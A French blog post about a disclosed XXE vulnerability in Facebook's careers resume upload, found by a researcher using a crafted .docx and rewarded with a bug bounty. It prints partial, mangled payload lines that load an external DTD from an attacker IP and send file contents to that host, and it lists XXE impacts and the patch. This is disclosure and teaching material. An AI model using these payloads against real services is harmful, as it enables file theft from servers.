Sécurité informatique · 4 min read · Nov 23, 2025

Hacking de Facebook en injectant une charge utile XML dans un document Word

Table des matières

  • Hacking de Facebook à l’aide d’un document Microsoft Word falsifié
  • Vulnérabilités connues
  • Conséquences
  • Récompense reçue

Hacking de Facebook à l’aide d’un document Microsoft Word falsifié

Mohamed Ramadan, un chercheur en sécurité éthique, a trouvé une vulnérabilité critique dans Facebook qui permet à un utilisateur de contrôler à l’aide d’un fichier .docx Microsoft Word falsifié.

Ramadan a réussi à trouver des vulnérabilités chez de grands fournisseurs de services comme Google, Facebook, Twitter, Microsoft, etc., et a été récompensé par une prime de bug par eux.

Vulnérabilités connues

Il est un fait connu que Facebook n’a pas les serveurs les plus sécurisés au monde. De nombreuses personnes ont signalé des bugs de haute gravité depuis 2010 et le réseau social a également corrigé une vulnérabilité XXE dangereuse affectant OpenID fin 2013. Une XXE (XML External Entity) est une méthode qui exploite un mécanisme de parsing XML faible. Cette attaque peut entraîner la divulgation de données confidentielles, un déni de service, un scan de ports du point de vue de la machine où se trouve le parseur, et d’autres impacts sur le système. Vous pouvez en lire plus sur ces corrections ici.

Facebook avait précisé qu’il avait corrigé tous ses serveurs, donc trouver une autre vulnérabilité XXE semblait très peu probable. Pourtant, Ramadan a décidé de poursuivre sa quête. Après quelques recherches, il est tombé sur la page de carrière de Facebook https://www.facebook.com/careers/. Il a réussi à télécharger son CV sur Facebook mais il s’est rendu compte qu’il ne pouvait télécharger que des fichiers au format PDF ou .DOCX. Un fichier au format .docx est essentiellement un fichier xml compressé développé par Microsoft et Ramadan a vu une faille dans le système de sécurité de Facebook. Il a créé un faux CV avec un document Microsoft Word falsifié et l’a téléchargé sur la page web des carrières de Facebook.

Il a créé un fichier XML avec le code suivant écrit dedans

DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>

Maintenant, il avait un CV falsifié prêt. Il a démarré un serveur HTTP fonctionnant sur Python sur sa machine locale. Il a créé un fichier nommé ext.dtd attendant dans le répertoire mohaab007 et voici le contenu de ext.dtd :

https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;

Après avoir téléchargé le CV Word falsifié, il a attendu une réponse du site Web de Facebook. Comme il le déclare sur son blog,

“Maintenant tout va bien et j’ai téléchargé CV.docx sur https://www.facebook.com/careers/ et j’ai attendu une minute mais rien ne s’est passé. Je me suis dit que c’était un échec total et que j’allais vérifier mon profil Facebook à la place et discuter avec des amis et jouer à un jeu ou quelque chose après cette longue tentative ÉCHOUÉE. J’ai perdu environ 15 minutes à discuter et naviguer, maintenant il est temps d’arrêter le serveur http python et de fermer Facebook et tout. J’allais fermer ma fenêtre de terminal et j’ai été choqué de voir que quelque chose s’était connecté à mon serveur http python”

Il avait réussi à tromper un serveur Facebook pour se connecter à son serveur. En ses propres mots, il pouvait maintenant exploiter cette connexion pour :

  • DoS le système de parsing en le faisant ouvrir, par exemple : file:///dev/random | file:///dev/urandom | file://c:/con/con

  • Scans TCP utilisant des entités externes HTTP (y compris derrière des pare-feu puisque les serveurs d’application ont souvent une vision différente de celle de l’attaquant)

  • Accès non autorisé aux données stockées sous forme de fichiers XML sur le système de fichiers du système de parsing (bien sûr, l’attaquant a toujours besoin d’un moyen de récupérer ces données)

  • DoS sur d’autres systèmes (si le système de parsing est autorisé à établir des connexions TCP à d’autres systèmes)

  • Vol de matériel d’authentification NTLM en initiant un accès de fichier UNC à des systèmes sous le contrôle de l’attaquant (un peu tiré par les cheveux ?)

  • Scénario de fin du monde : Une application largement déployée et hautement connectée vulnérable à cette attaque peut être utilisée pour un DDoS.

  • Listing de répertoire, lire des fichiers système et d’application et dans certains cas exécuter des commandes système en utilisant le wrapper php expect://.

Conséquences

Il a essayé d’accéder aux fichiers système sur le serveur, mais n’a pas réussi à obtenir l’accès, probablement en raison des mécanismes de sécurité en place. Mais il était convaincu que l’attaque qu’il avait réussi à réaliser était une XXE aveugle hors bande (OOB) et que c’était un processus long car il devait télécharger et attendre le résultat après 15 minutes ou plus. Sans plus tarder, il a informé le réseau social de ses découvertes. Ses découvertes ont été rejetées d’emblée la première fois, avec les mots suivants.

Le chercheur en sécurité pirate Facebook en injectant une charge utile XML dans un document Word

Il a répondu à l’équipe de sécurité de Facebook en leur envoyant le CV falsifié, auquel FB a répondu avec la réponse suivante :

Le chercheur en sécurité pirate Facebook en injectant une charge utile XML dans un document Word

Il n’était toujours pas satisfait et a continué à correspondre avec l’équipe de sécurité de Facebook, qui a finalement réalisé la vulnérabilité dans son mécanisme de téléchargement de fichiers.

Le chercheur en sécurité pirate Facebook en injectant une charge utile XML dans un document Word

Récompense reçue

Facebook a reconnu la vulnérabilité et, selon sa politique, a récompensé Ramadan pour sa recherche. Ils ont corrigé la vulnérabilité en ajoutant cette ligne de code :

libxml_disable_entity_loader(true)

Voici une vidéo de preuve de concept que Ramadan a téléchargée sur YouTube pour montrer la vulnérabilité dans Facebook

Ressource : Attack Secure

Share: X/Twitter LinkedIn

Recevez de nouveaux articles dans votre boîte de réception.

Aucun spam. Désabonnez-vous à tout moment.